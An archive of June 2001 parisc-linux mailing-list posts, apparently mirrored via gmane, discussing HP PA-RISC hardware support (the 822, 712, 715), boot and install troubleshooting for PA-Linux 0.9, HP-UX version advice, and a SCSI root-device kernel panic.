Also, I think the memory boards had a proprietary HP controller
chip on them, with the result that no one made third party memory
for a long time.  (I saw one where the vendor had taken the chip
from a low density HP board and put it on their own high density
board!)   In the back of my mind something is saying "Datagate
eventually figured out how to make boards for it", but I'm not positive.

My notes (as best I can read a hex dump of a spreadsheet ... I
don't have Excel on my home machine :) says that the CPU is a 
25 MHz CPU.
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 - 822 - a gift?
Date: Tue, 26 Jun 2001 00:36:02 -0600 (MDT)
Lines: 112
Approved: news@gmane.org
Message-ID: <200106260636.AAA12924@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620244 21442 80.91.229.3 (22 Nov 2014 01:37:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 26 00:36:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C8DD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Jun 2001 00:36:07 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 23F591F855
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Jun 2001 02:36:06 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id AAA12924
	for parisc-linux@lists.parisc-linux.org; Tue, 26 Jun 2001 00:36:02 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11438

> > I just was 'gifted' a hp9000 822 with
>
> A very old, and very slow, PA-RISC 1.0 (?) HP 9000.
> Probably not likely to support boot-from-SCSI.
>

This machine contains a PA-RISC 1.0 cpu.  Not only will you not be able to
boot it from a SCSI device on parisc linux, you will not be able to boot
it at all.  We only support PA-RISC 1.1 cpu's and higher (and still are
missing some support for PA-RISC 1.1a cpu's, re: a proper trap 18 handler
and a privileged register trap handler to support reading cr27, two
items I intend to get around to eventually).

Note, that although the core machine dependent PA-RISC support code
supports PA-RISC 1.1 and better, we still don't support many older
machines due to proprietary devices with unavailable documentation, etc.
However, there is a better chance that we would eventually support those
than support PA-RISC 1.0 cpu's.

Even given the documentation, I don't think we will ever support PA-RISC
1.0 cpu's.  There are just too many differences that make supporting those
cpu's a pain.  Also, support for an obscure parisc device can usually be
isolated in a separate file or two, whereas adding support for PA-RISC 1.0
would involve changes throughout the machine dependent code in arch/parisc.

In case someone who is reading this is curious, here is a list of
differences that I can think of off the top of my head.  There are
probably others that I have either forgotten or are not aware of.  I
didn't begin working on parisc based machines until the 700 series was
created, which used parisc 1.1a cpus (Although I did follow some of the
earlier technical issues, since I was working for HP at the time, doing
HP-UX kernel development for HP 9000 Series 200/300/400 m68k based
machines).

	DIFFERENCES BETWEEN PARISC 1.0 and later PARISC CPU'S:

        1) No support for shadow registers and their associated rfir
        instruction.  This would mean that a new set of tlb miss handlers
        would need to be written.  Other changes in the interrupt path and
        the non access cache flush emulation code would be required.

	2) Only 16 floating point registers. Would require some
	(albeit fairly simple) changes in the floating point save/restore
	code. This would also require that all commands/libraries that
	use floating point be recompiled with options that let the
	compiler know these floating point registers are not available
	(or add support to the kernel to emulate them! ... ugh).

        3) A larger variety in the support of floating point instructions,
        including some machines that didn't even have an fpu.  Would
        require additional floating point emulation support in the kernel.

        4) 2K Page size rather than 4K.  Would require a variety of
        changes in the machine dependent VM support.  Ideally this
        shouldn't be very hard, but since we haven't yet enabled support
        for other page sizes, there are probably a fair number of
        hardwired 4K page size code dependencies.

        5) Inability to disable space register hashing.  I'm not sure if
        all PA-RISC 1.0 cpu's even supported space register hashing, but I
        believe that some of the ones that do support it have no way of
        turning it off.  This may be the single hardest problem to work
        around.  Very early in the parisc linux implementation we decided
        to use a "flat" address space, i.e. sr4-sr7 are all set to the
        same value.  This simplified a lot of things, and this assumption
        is now fairly embedded in the kernel, compilers, binutils, etc.
        In order to be able to support shared objects (mmap using
        MAP_SHARED, Sys V shared memory, etc) with space register hashing
        enabled, you need to dedicate at least a quadrant of the virtual
        address space to shared mappings, i.e. some space registers would
        be set to a per process private value, whereas as at least one
        would need to be set to a common shared value (this is what HP-UX
        does).  For starters, the address allocation code would need to be
        changed to reflect that.  But that would just be the beginning ...

In summary, I just don't think supporting PA-RISC 1.0 cpu's is worth the
effort.  Note that you can get some newer (i.e. newer than PA-RISC 1.0,
but still quite old!) PA-RISC machines for less than $50.

> > Am I going to get linux up on this baby or the install
> > hpux?
>
> Not linux, but HP-UX should work.  I can't recall if 11.00
> will run on it, but certainly earlier versions will.

As far as HP-UX goes, there is a difference between whether or not it
works and whether or not it is officially supported.  When HP drops
official support it just means that the engineers are free to make design
decisions on newer HP-UX releases that don't need to take into account
support of the older boxes.  We don't have a policy of removing the old
code (see bloat reference below :-)), although that usually happens over
time as the "owners" of various files modify them.  For example, I believe
that 11.0 dropped official support for PARISC 1.1a cpu's, but I believe it
still worked.  Official support for PARISC 1.0 cpu's was dropped at an
earlier date, but I don't know when HP-UX might have stopped working on
those earlier machines (for all I know it may still work).

However, HP-UX, in its attempt to try to meet required features for a wide
variety of customers, continues to bloat.  The size increase from 9.0 to
10.x and from 10.x to 11.x has been significant.  So, if you really want
to get that 822 running reasonably well, I'd try to get as old a version
of HP-UX that you can.  A 9.0 based release will probably give you the
best compromise between features and size.

John Marvin
jsm@fc.hp.com

P.S.  Perhaps there are other ways you can use that 822.  Do you own a
boat? :-)




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60: No login, only crashes
Date: Tue, 26 Jun 2001 09:07:45 +0200
Organization: AAA
Lines: 71
Approved: news@gmane.org
Message-ID: <3B3834C1.2C1ED48E@alcatel.at>
References: <Pine.LNX.4.33.0106252137470.8292-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620245 21446 80.91.229.3 (22 Nov 2014 01:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:25 +0000 (UTC)
Cc: Markus Ungermann <m.ungermann@tuxhausen.de>,
	parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 26 01:07:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0485482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Jun 2001 01:07:51 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id JAA15999;
	Tue, 26 Jun 2001 09:07:46 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11439

There is no script starting the virtual console, it is kernel stuff.
But you can remove the login (any thing like "*getty") in the bottom of
the inittab, but then you will not have any login !!

The devices /dev/tty1 up to /dev/tty9 (I think) are the virtual
consoles.
The only way to use the full machine without virtual consoles is the
use of the serial console !
The kernel line must say "console=ttyS0" and in the inittab the "*getty"
should have ttyS0 as paramter ....

With friendly regards
	Christoph P.


Peter Weilbacher wrote:
> 
> Hi Markus!
> 
> On Mon, 25 Jun 2001, Markus Ungermann wrote:
> 
> > Then i installed PA-Linux 0.9 on a 3.2GB-HD (Quantum Fireball 3200S ),
> > but after the first reboot:
> > - the system starts and
> > - the Init-Process works,
> > - it enter Runlevel 2
> > - then instead of a login i get an Crash
> > I get a Dump list (How can i print/copy this?) and the following line:
> >
> > Kernel Fault Code 26 regs(differents everytime)
> 
> I had the same error when I installed it, I think it is in the known
> bugs on the webpage. The developers told me to be patient, those are
> bugs in the graphical STI interface.
> 
> A perhaps related problem is that if you try to go down further than
> the end of the file in vi, it crashes with a similar dump screen.
> 
> > Can someone help me to login ?
> > Or how can i boot into single mode (there is no lilo ;-))) ?
> 
> - Press <escape> before booting.
> - search for the boot device:
>         search scsi
> - start the ipl:
>         boot <scsi-dev> ipl
> - edit the last parameter and add with a space:
>         " init=1" or " init=/bin/sh"
> Starting the IPL boot should get you booted. You should then perhaps
> edit /etc/inittab before trying further.
> 
> Can anyone tell me, which script in /etc/init.d starts the virtual
> consoles? It's none from the ones in /etc/rc1.d/...
> 
> > Is the powersupply strong enough for a second intern HD (then i boot
> > from the 520MB und use the Quantum as /usr) ?
> 
> Just try it? There is a special room for a second disk in my
> machine, which I cannot use because the other disks I have get too
> hot.
> 
> Gruesse,
>         Peter.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simeon Walker <simeon@sbs.bangor.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60: No login, only crashes
Date: Tue, 26 Jun 2001 09:34:14 +0100
Organization: University of Wales - Bangor
Lines: 65
Approved: news@gmane.org
Message-ID: <3B384906.2805FD29@sbs.bangor.ac.uk>
References: <3B378759.CBB5160E@tuxhausen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620245 21448 80.91.229.3 (22 Nov 2014 01:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Ungermann <m.ungermann@tuxhausen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 26 02:34:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vogon.bangor.ac.uk (vogon.bangor.ac.uk [147.143.41.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90EEC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Jun 2001 02:34:19 -0600 (MDT)
Original-Received: from sbs.bangor.ac.uk (milliways.bangor.ac.uk [147.143.41.38])
	by vogon.bangor.ac.uk (8.9.3/8.9.3) with ESMTP id JAA02405;
	Tue, 26 Jun 2001 09:34:14 +0100
Original-Sender: sim@vogon.bangor.ac.uk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11440

Hi,
  i saw this problem too a few weeks ago (search the list for the thread
'[parisc-linux] Re: Kernel faults on boot'). If you get into run level
one 
(as one of the other replies here shows) you can the finish the install. 
If you download the kernel source from cvs and compile/install that
then you should be able to boot ok. It worked for me.

Regards,
Simeon

Markus Ungermann wrote:
> 
> Hi,
> 
> i get an HP 712/60 last week, it has an installed Debian and this works
> good. But the HD is to little, only 520MB (with 128MB Swap).
> 
> Then i installed PA-Linux 0.9 on a 3.2GB-HD (Quantum Fireball 3200S ),
> but after the first reboot:
> - the system starts and
> - the Init-Process works,
> - it enter Runlevel 2
> - then instead of a login i get an Crash
> I get a Dump list (How can i print/copy this?) and the following line:
> 
> Kernel Fault Code 26 regs(differents everytime)
> 
> Ok, i use another HD 2.1GB (IBM DFRS ...) but, the same ....
> 
> I have Bootmon 1.2, i tries to update it (with a tape) but it didn't
> work.
> 
> If fsck failed, and i must login as root, i have no Problems, it seens
> to be an error with the login-script.
> 
> Can someone help me to login ?
> Or how can i boot into single mode (there is no lilo ;-))) ?
> 
> Is the powersupply strong enough for a second intern HD (then i boot
> from the 520MB und use the Quantum as /usr) ?
> 
> --
> cu Markus Ungermann
> 
>        Look at my website: http://www.tuxhausen.de
>                      !! Ask me for my PGP-Key !
> 
>         `Software is like sex; it's best when its free
>                  ->> Linus B. Torvalds
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


-- 
Simeon Walker,                      email: simeon@sbs.bangor.ac.uk
School of Biological Sciences,      phone: +44 (0)1248 383702
University of Wales, Bangor,        fax: +44 (0)1248 382569
Gwynedd, LL57 2UW, UK.              www: http://biology.bangor.ac.uk/




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 - 822 - a gift?
Date: Tue, 26 Jun 2001 11:38:39 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <200106261738.LAA16490@puffin.external.hp.com>
References: <200106260321.UAA03457@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620245 21455 80.91.229.3 (22 Nov 2014 01:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 26 11:39:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47492482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Jun 2001 11:39:35 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA16490;
	Tue, 26 Jun 2001 11:38:39 -0600
In-Reply-To: Your message of "Mon, 25 Jun 2001 20:21:48 PDT."
             <200106260321.UAA03457@opus.allegro.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11441

Stan Sieler wrote:
> > I just was 'gifted' a hp9000 822 with 
> > Am I going to get linux up on this baby or the install
> > hpux?
> 
> Not linux, but HP-UX should work.  I can't recall if 11.00
> will run on it, but certainly earlier versions will.

11.0 might but you can bet it wasn't tested by the core HPUX team.
822 has CIO slots. Officially support for CIO was dropped
in early 10.x timeframe - 10.10 I think. Later versions might still
work but it's a "don't call HP when it fails" kind of thing.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 - 822 - a gift?
Date: Tue, 26 Jun 2001 11:50:23 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <200106261750.LAA16595@puffin.external.hp.com>
References: <200106260636.AAA12924@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620246 21457 80.91.229.3 (22 Nov 2014 01:37:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 26 11:51:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90EAB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Jun 2001 11:51:16 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA16595;
	Tue, 26 Jun 2001 11:50:23 -0600
In-Reply-To: Your message of "Tue, 26 Jun 2001 00:36:02 MDT."
             <200106260636.AAA12924@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11442

John Marvin wrote:
...
> > Not linux, but HP-UX should work.  I can't recall if 11.00
> > will run on it, but certainly earlier versions will.
> 
> As far as HP-UX goes, there is a difference between whether or not it
> works and whether or not it is officially supported.  When HP drops
> official support it just means that the engineers are free to make design
> decisions on newer HP-UX releases that don't need to take into account
> support of the older boxes.  We don't have a policy of removing the old
> code (see bloat reference below :-)), although that usually happens over
> time as the "owners" of various files modify them.

Yup - I see it the same way.

> For example, I believe
> that 11.0 dropped official support for PARISC 1.1a cpu's,

AFAIK, 712's are officially supported on 11.0 and 11.11.

> but I believe it
> still worked.  Official support for PARISC 1.0 cpu's was dropped at an
> earlier date, but I don't know when HP-UX might have stopped working on
> those earlier machines (for all I know it may still work).

I think it was the same time that CIO bus support was dropped since
both (CPU/Bus type) was the same class of machines.

> However, HP-UX, in its attempt to try to meet required features for a wide
> variety of customers, continues to bloat.  The size increase from 9.0 to
> 10.x and from 10.x to 11.x has been significant.  So, if you really want
> to get that 822 running reasonably well, I'd try to get as old a version
> of HP-UX that you can.  A 9.0 based release will probably give you the
> best compromise between features and size.

Again John is right. I'd reccomend 9.04 since that had the most
support for the 9.x releases.

> John Marvin
> jsm@fc.hp.com
> 
> P.S.  Perhaps there are other ways you can use that 822.  Do you own a
> boat? :-)

The same thought crossed my mind. And we probably still have a
few 712's or 715's to give away to folks interested in doing
developement - either applications or kernel.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Budriunas <budriuna@cacr.caltech.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Wed, 27 Jun 2001 08:29:23 -0700 (PDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10106270820490.1484-100000@lugh.cacr.caltech.edu>
References: <20010622225725.5096B37D2C@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620246 21461 80.91.229.3 (22 Nov 2014 01:37:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 27 09:33:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.cacr.caltech.edu (mailhost.cacr.caltech.edu [131.215.145.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 418F3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Jun 2001 09:33:01 -0600 (MDT)
Original-Received: from lugh.cacr.caltech.edu (lugh.cacr.caltech.edu [131.215.145.183])
	by mailhost.cacr.caltech.edu (8.9.3/8.9.1) with ESMTP id IAA24261;
	Wed, 27 Jun 2001 08:29:23 -0700 (PDT)
In-Reply-To: <20010622225725.5096B37D2C@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11443

On Fri, 22 Jun 2001, Matt Taggart wrote:

> Al Budriunas writes...
> 
> > Would you please share (or point me to) the procedure to change PALO
> > parititon into f0 type?
> 
> 1.) Run cfdisk
> 2.) Select the partition you want to change using the up/down arrows.
> 3.) Select "Type"(it may prompt you to hit space when listing the types)
> 4.) Enter "f0"
> 5.) Select "Write" to write the partition table to the disk
> 6.) Select "Quit" to exit cfdisk.
> 
> If you're still having problems then we may have a bug.
> 

Matt,

I didn't realize that an unlisted type could be entered in cfdisk, but it
worked! It was listed as "unkown (f0)" in the parition information. The
PALO installation phase completed this time, and the system booted from
the hard drive for the first time.

Thanks for the quick replies.

Regards,

Al

------------------------------------------------------------------
Al Budriunas                            email: budriuna@rsn.hp.com  
Hewlett Packard Co.                     voice: 310-535-2884
Los Angeles, Ca.                        
------------------------------------------------------------------





From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Budriunas <budriuna@cacr.caltech.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dselect fails phase 2 of version 0.9 installation
Date: Wed, 27 Jun 2001 12:29:11 -0700 (PDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10106271206040.1484-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620246 21464 80.91.229.3 (22 Nov 2014 01:37:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 27 13:29:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.cacr.caltech.edu (mailhost.cacr.caltech.edu [131.215.145.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B78F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Jun 2001 13:29:12 -0600 (MDT)
Original-Received: from lugh.cacr.caltech.edu (lugh.cacr.caltech.edu [131.215.145.183])
	by mailhost.cacr.caltech.edu (8.9.3/8.9.1) with ESMTP id MAA01204
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Jun 2001 12:29:11 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11444

I am experiencing the same failure reported by E. Frank Ball to this group
on June 6:

=================
I then tried to run "dpkg-reconfigure base-config".  It got to where it
is supposed to install the packages and died with a message:  failed
running script /usr/sbin/dpkg-preconfigure --apt || true
apt-utils is not installed.
==================

My install source is CDROM created from the June iso image. Has anyone
sorted this out yet?

Thanks,

Al  

------------------------------------------------------------------
Al Budriunas                            email: budriuna@rsn.hp.com  
Hewlett Packard Co.                     voice: 310-535-2884
Los Angeles, Ca.                        
------------------------------------------------------------------






From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "y.   han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rbootd for HP715/50
Date: Wed, 27 Jun 2001 16:16:35 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0106271612400.10527-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620247 21469 80.91.229.3 (22 Nov 2014 01:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 27 14:16:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69E4F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Jun 2001 14:16:38 -0600 (MDT)
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.2/8.10.2) with ESMTP id f5RKH3V20657
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Jun 2001 16:17:03 -0400 (EDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11445

We are trying to use rbootd to boot up HP715/50 machines. The machine we 
are using is running RedHat 7.1. We downloaded
the rbootd files from
ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz

How can we run it so that the hp box can find it when it boot. how can we
change rboot.conf file to make it work.

Or is there a manual/ instruction for it?

thanks,






From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Donald Scobbie <dscobbie@blueyonder.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] External SCSI Disk
Date: Thu, 28 Jun 2001 01:45:49 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <3B3A7E3D.394759D6@blueyonder.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620247 21472 80.91.229.3 (22 Nov 2014 01:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 27 18:45:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blueyonder.co.uk (pcow034o.blueyonder.co.uk [195.188.53.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B1254832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Jun 2001 18:45:52 -0600 (MDT)
Original-Received: from blueyonder.co.uk ([62.31.76.164]) by blueyonder.co.uk  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 28 Jun 2001 01:48:04 +0100
Original-Sender: dscobbie@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11446

I attached an external SCSI disk to my 712/80 which has the
palinux-0.9 32 bit serial distribution installed on the internal
disk:

BOOT_ADMIN> sea

Searching for potential boot device.
This may take several minutes.

To discontinue, press ESCAPE.

   Device Path              Device Type
   -----------              -----------
   scsi.6.0                 QUANTUM FIREBALL1050S
   scsi.2.0                 SEAGATE ST32151N

BOOT_ADMIN> boo

Can anyone guess what happened next? 

SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST32151N          Rev: HP02
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: QUANTUM   Model: FIREBALL1050S     Rev: 630C
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 2, lun 0
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: unknown partition table
SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
 sdb: sdb1 sdb2 sdb3
[deleted lines]
VFS: Cannot open root device "sda3" or 08:03
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 08:03

The code in drivers/scsi/sd.c assigns /dev/sda to the lowest SCSI
id and works up the way. Fair enough. IIRC SCSI id's are prioritised
7->0 for narrow SCSI and 7->0, 15->8 for wide. Should device allocation
reflect this pattern? Surely it has to for hppa where the internal 
disk has id 6 preset?

Any suggestions?

Cheers

Donald




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
